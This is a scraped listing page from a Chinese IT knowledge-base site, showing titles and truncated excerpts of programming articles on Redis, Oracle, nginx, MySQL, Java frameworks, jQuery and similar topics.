href="/search/redis%E9%AB%98%E7%BA%A7/1.htm">redis高级</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a> <div>一主从复制高可用主从复制存在的问题:主从复制,主节点发生故障,需要做故障转移,可以手动转移:让其中一个slave变成master主从复制,只能主写数据,所以写能力和存储能力有限二架构说明可以做故障判断,故障转移,通知客户端(其实是一个进程,sentinel也是一个服务端),客户端直接连接sentinel的地址多个sentinel发现并确认master有问题选出一个sentinel作为领导选取一个s</div> </li> <li><a href="/article/1893902240595374080.htm" title="Qwen2.5-Coder Technical Report" target="_blank">Qwen2.5-Coder Technical Report</a> <span class="text-muted">UnknownBody</span> <a class="tag" taget="_blank" href="/search/LLM/1.htm">LLM</a><a class="tag" taget="_blank" href="/search/Daily/1.htm">Daily</a><a class="tag" taget="_blank" href="/search/LLM/1.htm">LLM</a><a class="tag" taget="_blank" href="/search/for/1.htm">for</a><a class="tag" taget="_blank" href="/search/code/1.htm">code</a><a class="tag" taget="_blank" href="/search/Technical/1.htm">Technical</a><a class="tag" taget="_blank" href="/search/Report/1.htm">Report</a><a class="tag" taget="_blank" href="/search/%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">语言模型</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86/1.htm">自然语言处理</a> <div>本文是LLM系列文章,针对《Qwen2.5-CoderTechnicalReport》的翻译。Qwen2.5-Coder技术报告摘要1引言2模型架构3预训练3.1预训练数据3.1.1数据组成3.1.2数据混合3.2训练策略3.2.1文件级预训练3.2.2仓库级预训练4后训练4.1指令数据的配方4.2训练策略5去污6在基础模型上的评估6.1代码生成6.2代码补全6.3代码推理6.4数学推理6.5通用</div> </li> <li><a href="/article/1893891524895240192.htm" title="Yolov5-Python系列(best.pt文件下载)—— 是谁不戴口罩检测" target="_blank">Yolov5-Python系列(best.pt文件下载)—— 是谁不戴口罩检测</a> <span class="text-muted">云霄IT</span> <a class="tag" taget="_blank" href="/search/YOLO/1.htm">YOLO</a> <div>一、戴不戴口罩检测best.pt下载:https://download.csdn.net/download/weixin_51111267/87516445二、效果测试</div> </li> <li><a href="/article/91.htm" title="java解析APK" target="_blank">java解析APK</a> <span class="text-muted">3213213333332132</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/apk/1.htm">apk</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%A7%A3%E6%9E%90APK/1.htm">解析APK</a> <div>解析apk有两种方法 1、结合安卓提供apktool工具,用java执行cmd解析命令获取apk信息 2、利用相关jar包里的集成方法解析apk 这里只给出第二种方法,因为第一种方法在linux服务器下会出现不在控制范围之内的结果。 public class ApkUtil { /** * 日志对象 */ private static Logger </div> </li> <li><a href="/article/218.htm" title="nginx自定义ip访问N种方法" target="_blank">nginx自定义ip访问N种方法</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/nginx+%E7%A6%81%E6%AD%A2ip%E8%AE%BF%E9%97%AE/1.htm">nginx 禁止ip访问</a> <div>   因业务需要,禁止一部分内网访问接口, 由于前端架了F5,直接用deny或allow是不行的,这是因为直接获取的前端F5的地址。    所以开始思考有哪些主案可以实现这样的需求,目前可实施的是三种:    一:把ip段放在redis里,写一段lua &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二:利用geo传递变量,写一段</div> </li> <li><a href="/article/345.htm" title="mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性" target="_blank">mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>timestamp有两个属性,分别是CURRENT_TIMESTAMP 和ON UPDATE CURRENT_TIMESTAMP两种,使用情况分别如下: &nbsp; 1. &nbsp; CURRENT_TIMESTAMP&nbsp; &nbsp; 当要向数据库执行insert操作时,如果有个timestamp字段属性设为 &nbsp; CURRENT_TIMESTAMP,则无论这</div> </li> <li><a href="/article/472.htm" title="struts2+spring+hibernate分页显示" target="_blank">struts2+spring+hibernate分页显示</a> <span class="text-muted">171815164</span> <a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a> <div>分页显示一直是web开发中一大烦琐的难题,传统的网页设计只在一个JSP或者ASP页面中书写所有关于数据库操作的代码,那样做分页可能简单一点,但当把网站分层开发后,分页就比较困难了,下面是我做Spring+Hibernate+Struts2项目时设计的分页代码,与大家分享交流。   1、DAO层接口的设计,在MemberDao接口中定义了如下两个方法: public in</div> </li> <li><a href="/article/599.htm" title="构建自己的Wrapper应用" target="_blank">构建自己的Wrapper应用</a> <span class="text-muted">g21121</span> <a class="tag" taget="_blank" href="/search/rap/1.htm">rap</a> <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们已经了解Wrapper的目录结构,下面可是正式利用Wrapper来包装我们自己的应用,这里假设Wrapper的安装目录为:/usr/local/wrapper。 &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 首先,创建项目应用 &nbsp; &nb</div> </li> <li><a href="/article/726.htm" title="[简单]工作记录_多线程相关" target="_blank">[简单]工作记录_多线程相关</a> <span class="text-muted">53873039oycg</span> <a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a> <div>&nbsp;&nbsp;&nbsp;&nbsp; 最近遇到多线程的问题,原来使用异步请求多个接口(n*3次请求)&nbsp;&nbsp;&nbsp;&nbsp; 方案一 使用多线程一次返回数据,最开始是使用5个线程,一个线程顺序请求3个接口,超时终止返回&nbsp;&nbsp;&nbsp;&nbsp; 缺点&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 测试发现必须3个接</div> </li> <li><a href="/article/853.htm" title="调试jdk中的源码,查看jdk局部变量" target="_blank">调试jdk中的源码,查看jdk局部变量</a> <span class="text-muted">程序员是怎么炼成的</span> <a class="tag" taget="_blank" href="/search/jdk+%E6%BA%90%E7%A0%81/1.htm">jdk 源码</a> <div>转自:http://www.douban.com/note/211369821/ &nbsp; &nbsp;学习jdk源码时使用-- &nbsp; 学习java最好的办法就是看jdk源代码,面对浩瀚的jdk(光源码就有40M多,比一个大型网站的源码都多)从何入手呢,要是能单步调试跟进到jdk源码里并且能查看其中的局部变量最好了。 可惜的是sun提供的jdk并不能查看运行中的局部变量</div> </li> <li><a href="/article/980.htm" title="Oracle RAC Failover 详解" target="_blank">Oracle RAC Failover 详解</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a> <div>Oracle RAC 同时具备HA(High Availiablity) 和LB(LoadBalance). 而其高可用性的基础就是Failover(故障转移). 它指集群中任何一个节点的故障都不会影响用户的使用,连接到故障节点的用户会被自动转移到健康节点,从用户感受而言, 是感觉不到这种切换。 Oracle 10g RAC 的Failover 可以分为3种: 1. Client-Si</div> </li> <li><a href="/article/1107.htm" title="form表单提交数据编码方式及tomcat的接受编码方式" target="_blank">form表单提交数据编码方式及tomcat的接受编码方式</a> <span class="text-muted">antonyup_2006</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/%E4%BA%92%E8%81%94%E7%BD%91/1.htm">互联网</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a> <div>原帖地址:http://www.iteye.com/topic/266705 form有2中方法把数据提交给服务器,get和post,分别说下吧。 (一)get提交 1.首先说下客户端(浏览器)的form表单用get方法是如何将数据编码后提交给服务器端的吧。 &nbsp;&nbsp; 对于get方法来说,都是把数据串联在请求的url后面作为参数,如:http://localhost:</div> </li> <li><a href="/article/1234.htm" title="JS初学者必知的基础" target="_blank">JS初学者必知的基础</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/js%E5%87%BD%E6%95%B0/1.htm">js函数</a><a class="tag" taget="_blank" href="/search/js%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80/1.htm">js入门基础</a> <div>JavaScript是网页的交互语言,实现网页的各种效果, JavaScript 是世界上最流行的脚本语言。 JavaScript 是属于 web 的语言,它适用于 PC、笔记本电脑、平板电脑和移动电话。 JavaScript 被设计为向 HTML 页面增加交互性。 许多 HTML 开发者都不是程序员,但是 JavaScript 却拥有非常简单的语法。几乎每个人都有能力将小的 </div> </li> <li><a href="/article/1361.htm" title="iBatis的分页分析与详解" target="_blank">iBatis的分页分析与详解</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a> <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 分页是操作数据库型系统常遇到的问题。分页实现方法很多,但效率的差异就很大了。iBatis是通过什么方式来实现这个分页的了。查看它的实现部分,发现返回的PaginatedList实际上是个接口,实现这个接口的是PaginatedDataList类的对象,查看PaginatedDataList类发现,每次翻页的时候最</div> </li> <li><a href="/article/1488.htm" title="精通Oracle10编程SQL(15)使用对象类型" target="_blank">精通Oracle10编程SQL(15)使用对象类型</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a> <div>/* *使用对象类型 */ --建立和使用简单对象类型 --对象类型包括对象类型规范和对象类型体两部分。 --建立和使用不包含任何方法的对象类型 CREATE OR REPLACE TYPE person_typ1 as OBJECT( name varchar2(10),gender varchar2(4),birthdate date ); drop type p</div> </li> <li><a href="/article/1615.htm" title="【Linux命令二】文本处理命令awk" target="_blank">【Linux命令二】文本处理命令awk</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/linux%E5%91%BD%E4%BB%A4/1.htm">linux命令</a> <div>awk是Linux用来进行文本处理的命令,在日常工作中,广泛应用于日志分析。awk是一门解释型编程语言,包含变量,数组,循环控制结构,条件控制结构等。它的语法采用类C语言的语法。 &nbsp; awk命令用来做什么? 1.awk适用于具有一定结构的文本行,对其中的列进行提取信息 2.awk可以把当前正在处理的文本行提交给Linux的其它命令处理,然后把直接结构返回给awk 3.awk实际工</div> </li> <li><a href="/article/1742.htm" title="JAVA(ssh2框架)+Flex实现权限控制方案分析" target="_blank">JAVA(ssh2框架)+Flex实现权限控制方案分析</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>&nbsp; 目前项目使用的是Struts2+Hibernate+Spring的架构模式,目前已经有一套针对SSH2的权限系统,运行良好。但是项目有了新需求:在目前系统的基础上使用Flex逐步取代JSP,在取代JSP过程中可能存在Flex与JSP并存的情况,所以权限系统需要进行修改。 【SSH2权限系统的实现机制】 权限控制分为页面和后台两块:不同类型用户的帐号分配的访问权限是不同的,用户使</div> </li> <li><a href="/article/1869.htm" title="angular.forEach" target="_blank">angular.forEach</a> <span class="text-muted">boyitech</span> <a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/AngularJS+API/1.htm">AngularJS API</a><a class="tag" taget="_blank" href="/search/angular.forEach/1.htm">angular.forEach</a> <div>angular.forEach 描述: 循环对obj对象的每个元素调用iterator, obj对象可以是一个Object或一个Array. Iterator函数调用方法: iterator(value, key, obj), 其中obj是被迭代对象,key是obj的property key或者是数组的index,value就是相应的值啦.&nbsp;(此函数不能够迭代继承的属性.) </div> </li> <li><a href="/article/1996.htm" title="java-谷歌面试题-给定一个排序数组,如何构造一个二叉排序树" target="_blank">java-谷歌面试题-给定一个排序数组,如何构造一个二叉排序树</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%8F%89%E6%8E%92%E5%BA%8F%E6%A0%91/1.htm">二叉排序树</a> <div> import java.util.LinkedList; public class CreateBSTfromSortedArray { /** * 题目:给定一个排序数组,如何构造一个二叉排序树 * 递归 */ public static void main(String[] args) { int[] data = { 1, 2, 3, 4, </div> </li> <li><a href="/article/2123.htm" title="action执行2次" target="_blank">action执行2次</a> <span class="text-muted">Chen.H</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/XHTML/1.htm">XHTML</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/Webwork/1.htm">Webwork</a> <div>xwork 写道 &lt;action name=&quot;userTypeAction&quot; class=&quot;com.ekangcount.website.system.view.action.UserTypeAction&quot;&gt; &lt;result name=&quot;ssss&quot; type=&quot;dispatcher&quot;&gt; </div> </li> <li><a href="/article/2250.htm" title="[时空与能量]逆转时空需要消耗大量能源" target="_blank">[时空与能量]逆转时空需要消耗大量能源</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E8%83%BD%E6%BA%90/1.htm">能源</a> <div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 无论如何,人类始终都想摆脱时间和空间的限制....但是受到质量与能量关系的限制,我们人类在目前和今后很长一段时间内,都无法获得大量廉价的能源来进行时空跨越..... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在进行时空穿梭的实验中,消耗超大规模的能源是必然</div> </li> <li><a href="/article/2377.htm" title="oracle的正则表达式(regular expression)详细介绍" target="_blank">oracle的正则表达式(regular expression)详细介绍</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a> <div>&nbsp;&nbsp;&nbsp; 正则表达式是很多编程语言中都有的。可惜oracle8i、oracle9i中一直迟迟不肯加入,好在oracle10g中终于增加了期盼已久的正则表达式功能。你可以在oracle10g中使用正则表达式肆意地匹配你想匹配的任何字符串了。 正则表达式中常用到的元数据(metacharacter)如下: ^ 匹配字符串的开头位置。 $ 匹配支付传的结尾位置。 * </div> </li> <li><a href="/article/2504.htm" title="报表工具与报表性能的关系" target="_blank">报表工具与报表性能的关系</a> <span class="text-muted">datamachine</span> <a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E5%B7%A5%E5%85%B7/1.htm">报表工具</a><a class="tag" taget="_blank" href="/search/birt/1.htm">birt</a><a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E6%80%A7%E8%83%BD/1.htm">报表性能</a><a class="tag" taget="_blank" href="/search/%E6%B6%A6%E4%B9%BE%E6%8A%A5%E8%A1%A8/1.htm">润乾报表</a> <div>在选择报表工具时,性能一直是用户关心的指标,但是,报表工具的性能和整个报表系统的性能有多大关系呢? 要回答这个问题,首先要分析一下报表的处理过程包含哪些环节,哪些环节容易出现性能瓶颈,如何优化这些环节。 &nbsp; 一、报表处理的一般过程分析 1、用户选择报表输入参数后,报表引擎会根据报表模板和输入参数来解析报表,并将数据计算和读取请求以SQL的方式发送给数据库。 &nbsp; 2、</div> </li> <li><a href="/article/2631.htm" title="初一上学期难记忆单词背诵第一课" target="_blank">初一上学期难记忆单词背诵第一课</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/word/1.htm">word</a><a class="tag" taget="_blank" href="/search/english/1.htm">english</a> <div>what 什么&nbsp; your 你 name 名字 my 我的 am 是 one 一 two 二 three 三 four 四 five 五 class 班级,课 &nbsp; six 六 seven 七 eight 八 nince 九 ten 十 zero 零 how 怎样 old 老的 eleven 十一 twelve 十二 thirteen </div> </li> <li><a href="/article/2758.htm" title="我学过和准备学的各种技术" target="_blank">我学过和准备学的各种技术</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF/1.htm">技术</a> <div>语言VB&nbsp;https://msdn.microsoft.com/zh-cn/library/2x7h1hfk.aspxJava&nbsp;http://docs.oracle.com/javase/8/C#&nbsp;https://msdn.microsoft.com/library/vstudioPHP&nbsp;http://php.net/manual/en/Html&nbsp;</div> </li> <li><a href="/article/2885.htm" title="struts2中token防止重复提交表单" target="_blank">struts2中token防止重复提交表单</a> <span class="text-muted">蕃薯耀</span> <a class="tag" taget="_blank" href="/search/%E9%87%8D%E5%A4%8D%E6%8F%90%E4%BA%A4%E8%A1%A8%E5%8D%95/1.htm">重复提交表单</a><a class="tag" taget="_blank" href="/search/struts2%E4%B8%ADtoken/1.htm">struts2中token</a> <div>struts2中token防止重复提交表单 &nbsp; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; 蕃薯耀 2015年7月12日 11:52:32 星期日 ht</div> </li> <li><a href="/article/3012.htm" title="线性查找二维数组" target="_blank">线性查找二维数组</a> <span class="text-muted">hao3100590</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a> <div>1.算法描述 有序(行有序,列有序,且每行从左至右递增,列从上至下递增)二维数组查找,要求复杂度O(n) &nbsp; 2.使用到的相关知识: 结构体定义和使用,二维数组传递(http://blog.csdn.net/yzhhmhm/article/details/2045816) &nbsp; 3.使用数组名传递 这个的不便之处很明显,一旦确定就是不能设置列值 //使</div> </li> <li><a href="/article/3139.htm" title="spring security 3中推荐使用BCrypt算法加密密码" target="_blank">spring security 3中推荐使用BCrypt算法加密密码</a> <span class="text-muted">jackyrong</span> <a class="tag" taget="_blank" href="/search/Spring+Security/1.htm">Spring Security</a> <div>spring security 3中推荐使用BCrypt算法加密密码了,以前使用的是md5, Md5PasswordEncoder 和 ShaPasswordEncoder,现在不推荐了,推荐用bcrpt Bcrpt中的salt可以是随机的,比如: int i = 0; while (i &lt; 10) { String password = &quot;1234</div> </li> <li><a href="/article/3266.htm" title="学习编程并不难,做到以下几点即可!" target="_blank">学习编程并不难,做到以下几点即可!</a> <span class="text-muted">lampcy</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/1.htm">编程语言</a> <div>不论你是想自己设计游戏,还是开发iPhone或安卓手机上的应用,还是仅仅为了娱乐,学习编程语言都是一条必经之路。编程语言种类繁多,用途各 异,然而一旦掌握其中之一,其他的也就迎刃而解。作为初学者,你可能要先从Java或HTML开始学,一旦掌握了一门编程语言,你就发挥无穷的想象,开发 各种神奇的软件啦。 1、确定目标 学习编程语言既充满乐趣,又充满挑战。有些花费多年时间学习一门编程语言的大学生到</div> </li> <li><a href="/article/3393.htm" title="架构师之mysql----------------用group+inner join,left join ,right join 查重复数据(替代in)" target="_blank">架构师之mysql----------------用group+inner join,left join ,right join 查重复数据(替代in)</a> <span class="text-muted">nannan408</span> <a class="tag" taget="_blank" href="/search/right+join/1.htm">right join</a> <div>1.前言。 &nbsp; 如题。 2.代码 (1)单表查重复数据,根据a分组 &nbsp; SELECT m.a,m.b, INNER JOIN (select a,b,COUNT(*) AS rank FROM test.`A` A GROUP BY a HAVING rank&gt;1 )k ON m.a=k.a (2)多表查询 , 使用改为le</div> </li> <li><a href="/article/3520.htm" title="jQuery选择器小结 VS 节点查找(附css的一些东西)" target="_blank">jQuery选择器小结 VS 节点查找(附css的一些东西)</a> <span class="text-muted">Everyday都不同</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/name%E9%80%89%E6%8B%A9%E5%99%A8/1.htm">name选择器</a><a class="tag" taget="_blank" href="/search/%E8%BF%BD%E5%8A%A0%E5%85%83%E7%B4%A0/1.htm">追加元素</a><a class="tag" taget="_blank" href="/search/%E6%9F%A5%E6%89%BE%E8%8A%82%E7%82%B9/1.htm">查找节点</a> <div>最近做前端页面,频繁用到一些jQuery的选择器,所以特意来总结一下: &nbsp; 测试页面: &lt;html&gt; &lt;head&gt; &lt;script src=&quot;jquery-1.7.2.min.js&quot;&gt;&lt;/script&gt; &lt;script&gt; /*$(function() { $(documen</div> </li> <li><a href="/article/3647.htm" title="关于EXT" target="_blank">关于EXT</a> <span class="text-muted">tntxia</span> <a class="tag" taget="_blank" href="/search/ext/1.htm">ext</a> <div>&nbsp; ExtJS是一个很不错的Ajax框架,可以用来开发带有华丽外观的富客户端应用,使得我们的b/s应用更加具有活力及生命力。ExtJS是一个用 javascript编写,与后台技术无关的前端ajax框架。因此,可以把ExtJS用在.Net、Java、Php等各种开发语言开发的应用中。 &nbsp; &nbsp; &nbsp; ExtJs最开始基于YUI技术,由开发人员Jack </div> </li> <li><a href="/article/3774.htm" title="一个MIT计算机博士对数学的思考" target="_blank">一个MIT计算机博士对数学的思考</a> <span class="text-muted">xjnine</span> <a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a> <div>&nbsp;在过去的一年中,我一直在数学的海洋中游荡,research进展不多,对于数学世界的阅历算是有了一些长进。为什么要深入数学的世界?作为计算机的学生,我没有任何企图要成为一个数学家。我学习数学的目的,是要想爬上巨人的肩膀,希望站在更高的高度,能把我自己研究的东西看得更深广一些。说起来,我在刚来这个学校的时候,并没有预料到我将会有一个深入数学的旅程。我的导师最初希望我去做的题目,是对appe</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html></plaintext></blockquote></b></div></div></div></div></div></div></div></div></div></div></body></html>